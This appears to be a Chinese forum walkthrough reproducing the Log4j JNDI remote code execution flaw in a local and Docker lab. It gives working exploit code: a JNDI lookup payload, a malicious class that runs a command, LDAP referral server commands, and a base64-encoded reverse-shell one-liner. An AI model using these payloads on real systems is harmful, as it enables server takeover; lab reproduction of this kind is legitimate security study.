影响范围
Apache Log4j 2.x < 2.15.0-rc2
本地复现https://github.com/tangxiaofeng7/apache-log4j-poclog4j.java内容[Java] 纯文本查看 复制代码 import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
}
} Log4jRCE.java[Java] 纯文本查看 复制代码 public class Log4jRCE {
static {
try {
String [] cmd={"calc"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
} 注意,这里Log4jRCE.java不要放在项目里,我这里将Log4jRCE.class放到了D盘根目录,不然log4j.java运行时会读取到本地的Log4jRCE,就不是http远程下载了在D盘根目录[Asm] 纯文本查看 复制代码 python -m http.server 8888 然后执行[Asm] 纯文本查看 复制代码 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"
远程RCE docker拉个镜像[Asm] 纯文本查看 复制代码 docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest 先用网上公开的exp探测一下(此处为了引起不要的麻烦打码,你懂的)
反弹shell需要用到JNDI-Injection-Exploit启动⼀个rmi和ldap服务器,15c1貌似给ldap禁了但是rmi可以用,所以有了15c2
[Asm] 纯文本查看 复制代码 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxxxxxxxxxxxxxxxxxuNzYuNDkvODQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 127.0.0.1
burp发包即可
漏洞检测工具推荐长亭科技免费推出的工具https://log4j2-detector.chaitin.cn
|